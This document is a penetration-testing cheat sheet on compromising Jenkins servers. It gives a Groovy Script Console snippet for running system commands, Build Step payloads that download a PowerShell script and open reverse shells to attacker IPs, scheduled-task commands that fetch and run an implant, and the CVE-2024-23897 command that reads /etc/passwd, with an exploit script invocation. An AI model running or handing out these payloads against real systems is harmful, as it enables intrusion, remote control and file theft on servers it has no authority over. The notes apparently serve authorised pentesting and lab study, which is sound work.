Jenkins
Jenkins is a Java-based open-source automation server, designed to support continuous integration by automatically building and testing software whenever changes are made. By default, Jenkins includes a lightweight Java-based web server called Winstone on the 8080
port, but it can also be deployed as a Web Application Archive (WAR) file to run inside a Java servlet container like Apache Tomcat, Jetty, or GlassFish. It uses port 5000
to connect with slave nodes for distributed tasks. When Jenkins run as a Windows service, it typically uses Winstone and runs under as SYSTEM
.
For authentication, Jenkins supports multiple backends including its local user database, LDAP, Unix user accounts, or a servlet container. It can also be configured to allow unauthenticated access. In its default state, Jenkins stores credentials in its internal database and does not permit users to create their own accounts.
RCE
Script Console
Once we have gained access to a Jenkins application, a quick way of achieving command execution on the underlying server is via the Script Console (/script
), which allows us to run arbitrary Groovy scripts within the Jenkins controller runtime and can be abused to run operating system commands on the underlying server. Groovy is an object-oriented Java-compatible language. Groovy source code gets compiled into Java Bytecode and can run on any platform that has JRE installed.
Run arbitrary system commands (similar to a webshell):
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Build Step
If the compromised user is does not have eleveated privileges, but is able to configure projects, we can still get RCE by creating/modyfing a Build Step and passing an RCE command to be executed:


# Windows batch command payload
powershell.exe iex (iwr http://172.16.99.37/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Power -Reverse -IPAddress 172.16.99.37 -Port 443
# Execute shell payload
/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.170/80 0>&1'

This can be also leveraged using scheduled tasks (each command on a different step):
# Create scheduled task to download the binary
schtasks /create /tn "DownloadBinLoader" /tr "c:\windows\system32\cmd.exe /c start /b curl http://<http-server-IP>/BinLoader.exe -o c:\windows\temp\binloader.exe" /sc ONSTART
# Create scheduled task to execute the implant
schtasks /create /tn "RunBinLoader" /tr "c:\windows\system32\cmd.exe /c start /b c:\windows\temp\binloader.exe 172.16.100.37 80 dcorp-ci_tcp.bin" /sc ONSTART
# Run the first task
schtasks /run /tn "DownloadBinLoader"
# Run the second task
schtasks /run /tn "RunBinLoader
LFI
Jenkins versions up to 2.441
and LTS up to 2.426.2
. are affected by a LFI vulnerablity (CVE-2024-23897) which allows unauthenticated attackers to read arbitrary files on the server’s filesystem via crafted CLI commands. The root cause lies in how Jenkins processes CLI arguments when those are passed through certain CLI modes—particularly the args4j
parser used internally to handle user inputs. If an argument beginning with an @
symbol is supplied, Jenkins interprets it as a file path and attempts to load additional parameters from that file. This behavior is inherited from the underlying Java CLI library but was not properly sanitized in Jenkins.
When accessed through the CLI over HTTP, this results in a scenario where an attacker, without needing to authenticate, can trick Jenkins into reading sensitive files—such as /etc/passwd
, configuration files, or SSH keys—and echoing their contents back in the response. The CLI must be reachable over HTTP(S), which is usually the case in many exposed Jenkins instances. The risk is elevated if Jenkins runs with high privileges or has access to sensitive parts of the system.
First, the jenkins-cli.jar
needs to be downloaded from the server in order to match the exact CLI client version designed for that Jenkins instance.
# Download jenkins-cli.jar
$ wget http://localhost:8080/jnlpJars/jenkins-cli.jar
The below command runs the Jenkins CLI client:
The
-s
flag specifies the target server’s addressThe
-http
option forces the CLI to communicate over HTTP, allowing unauthenticated accessThe command being executed is
help
, with1
as its first argument, which Jenkins interprets as a request for help related to the command named1
.The string
@//etc/passwd
leverages the vulnerability by instructing Jenkins to read arguments from the/etc/passwd
file.
This causes Jenkins to process the contents of the file as if they were CLI arguments, resulting in partial disclosure of the file’s content due to how the CLI parses input line by line.
# Exploit the LFI vulnerability
$ java -jar jenkins-cli.jar -s http://localhost:8080 -http help 1 "@//etc/passwd"
Various working PoCs (e.g. godylockz) are also available.
$ searchsploit Jenkins 2
Jenkins 2.441 - Local File Inclusion | java/webapps/51993.py
$ python3 51993.py -u http://127.0.0.1:8888 -p /etc/passwd
Last updated
Was this helpful?